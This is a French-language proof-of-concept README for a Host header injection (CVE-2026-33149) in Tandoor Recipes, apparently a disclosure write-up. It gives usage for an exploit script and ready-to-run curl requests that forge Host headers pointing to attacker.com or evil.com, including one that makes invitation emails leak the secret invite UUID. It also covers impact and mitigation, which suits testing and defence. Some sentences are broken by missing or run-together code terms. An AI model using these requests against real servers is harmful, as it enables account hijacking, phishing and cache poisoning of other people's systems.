
Preuve de concept d'exploitation pour CVE-2026-33149, une injection d'en-tête Host dans Tandoor Recipes permettant l'empoisonnement de liens d'invitation et l'empoisonnement du cache. Inclut des modules pour l'acceptation d'hôte, la pagination, le schéma et l'empoisonnement des invitations.
Tandoor Recipes définit ALLOWED_HOSTS = '*' par défaut dans settings.py, ce qui amène Django à accepter n'importe quelle valeur dans l'en-tête HTTP sans validation. L'application utilise pour générer des URL absolues dans plusieurs contextes sensibles à la sécurité. Un attaquant capable d'envoyer des requêtes avec un en-tête falsifié peut rediriger toutes les URL générées par le serveur vers un domaine contrôlé par l'attaquant.
Hostrequest.build_absolute_uri()HostL'impact le plus critique est l'empoisonnement des liens d'invitation : lorsqu'un administrateur crée une invitation utilisateur, l'e-mail envoyé par le serveur contient un lien pointant vers le domaine de l'attaquant. La victime clique sur un e-mail d'apparence légitime, le jeton d'invitation est exfiltré, et l'attaquant l'utilise pour détourner le processus de provisionnement du compte.
| Champ | Valeur |
|---|---|
| ID CVE | CVE-2026-33149 |
| GHSA | GHSA-x636-4jx6-xc4w |
| CWE | CWE-644 — Neutralisation incorrecte des en-têtes HTTP pour la syntaxe de script |
| CVSS v3.1 | 8.1 ÉLEVÉE — AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N |
| Version affectée | Tandoor Recipes ≤ 2.5.3 |
| Fournisseur | TandoorRecipes/recipes |
Fichier : recipes/settings.py:118
ALLOWED_HOSTS = extract_comma_list('ALLOWED_HOSTS', '*') # default: wildcard
ALLOWED_HOSTS de Django est une mesure de sécurité qui valide l'en-tête Host par rapport à une liste blanche. Le caractère générique '*' désactive entièrement cette validation, permettant n'importe quelle valeur arbitraire.
Fichier : cookbook/serializer.py:1852-1853
message += _('Click the following link to activate your account: ') + self.context[
'request'].build_absolute_uri(
reverse('view_invite', args=[str(obj.uuid)])
) + '\n\n'
request.build_absolute_uri() construit les URL en utilisant request.get_host(), qui renvoie la valeur brute de l'en-tête Host lorsque ALLOWED_HOSTS ne la restreint pas. L'UUID d'invitation — un jeton secret — est intégré dans l'URL qui pointe désormais vers l'attaquant.
build_absolute_uri() pour les URL next/previous┌──────────┐ ① Requête falsifiée ┌─────────────────┐
│ Attaquant │ ──────────────────────────────→│ Serveur Tandoor │
│ │ Host: attacker.com │ ALLOWED_HOSTS=*│
└──────────┘ └────────┬────────┘
│
② build_absolute_uri()
utilise "attacker.com"
│
▼
┌────────────────┐
│ Serveur SMTP │
└────────┬───────┘
│
③ E-mail avec lien empoisonné :
http://attacker.com/invite/<uuid>
│
▼
┌────────────────┐
│ Victime │
│ (clique le lien) │
└────────┬───────┘
│
④ UUID envoyé à l'attaquant
│
▼
┌────────────────┐
│ Attaquant │
│ utilise l'UUID │
│ sur le vrai │
│ serveur │
└────────────────┘
requestspip install requests
# Exécuter tous les modules de validation avec authentification de base
python3 poc.py --target http://localhost:8085 \
--basic-auth admin:password \
--attacker evil.com \
--module all
# Exécuter tous les modules avec des cookies de session
python3 poc.py --target http://target:8085 \
--session <sessionid> \
--csrf <csrftoken> \
--attacker evil.com \
--module all
# Empoisonnement du lien d'invitation uniquement
python3 poc.py --target http://target:8085 \
--session <sessionid> \
--csrf <csrftoken> \
--attacker evil.com \
--module invite \
--email [email protected] \
--group-id 1
| Module | Description |
|---|---|
host-accept | Vérifie que la cible accepte des en-têtes Host arbitraires (ALLOWED_HOSTS = '*') |
pagination | Confirme que les URL de pagination API reflètent le domaine injecté |
schema | Confirme que les URL du serveur de schéma OpenAPI reflètent le domaine injecté |
invite | Crée un lien d'invitation empoisonné — le vecteur d'attaque principal |
all | Exécute tous les modules séquentiellement |
1. Acceptation de l'en-tête Host
curl -s -o /dev/null -w "%{http_code}" \
http://TARGET:8085/api/user/ \
-H "Host: attacker.com" \
-u "admin:password"
# Attendu : 200 (vulnérable) | 400 (corrigé)
2. Réflexion de l'URL de pagination
curl -s "http://TARGET:8085/api/recipe/?page_size=1" \
-H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
-H "Host: evil.com" \
-H "Accept: application/json"
# Attendu : {"next": "http://evil.com/api/recipe/?page=2&page_size=1", ...}
3. Réflexion de l'URL du schéma
curl -s http://TARGET:8085/api/schema/ \
-H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
-H "Host: evil.com" | grep -o "http://[^ \"]*" | head -3
# Attendu : http://evil.com/...
4. Empoisonnement du lien d'invitation
curl -s http://TARGET:8085/api/invite-link/ \
-X POST \
-H "Content-Type: application/json" \
-H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
-H "X-CSRFToken: CSRF" \
-H "Host: attacker.com" \
-d '{"email":"[email protected]","group":{"id":1},"valid_until":"2027-01-01"}'
# La victime reçoit l'e-mail : "Click: http://attacker.com/invite/<uuid>"
| Zone d'impact | Description | Gravité |
|---|---|---|
| Détournement du jeton d'invitation | L'attaquant capture l'UUID d'invitation via le lien d'e-mail empoisonné, détournant le provisionnement du compte | Critique |
| Hameçonnage d'identifiants | La victime atterrit sur un domaine contrôlé par l'attaquant en s'attendant à une page d'inscription légitime | Élevée |
| Empoisonnement du cache | Dans les déploiements avec proxys de cache, une seule réponse empoisonnée contamine le cache pour tous les utilisateurs | Élevée |
| Mauvaise orientation des clients API | Les URL de pagination et de schéma redirigent les consommateurs API vers l'infrastructure de l'attaquant | Moyenne |
Définissez ALLOWED_HOSTS pour lister explicitement vos noms d'hôte valides :
# docker-compose.yml ou .env
ALLOWED_HOSTS=recipes.yourdomain.com,localhost
Host inattendus avant qu'elles n'atteignent DjangoUSE_X_FORWARDED_HOST = False — Assurez-vous que Django ne fait pas confiance à X-Forwarded-Host provenant de sources non fiables (la valeur par défaut est False)SITE_URL explicite pour la génération des liens d'e-mail au lieu de vous fier à request.build_absolute_uri()Cette preuve de concept est fournie à des fins de tests de sécurité autorisés et à des fins éducatives uniquement. L'accès non autorisé à des systèmes informatiques est illégal. L'auteur décline toute responsabilité en cas d'utilisation abusive de cet outil.
Filipe Gaudard — Chercheur en sécurité offensive | eWPT | eWPTx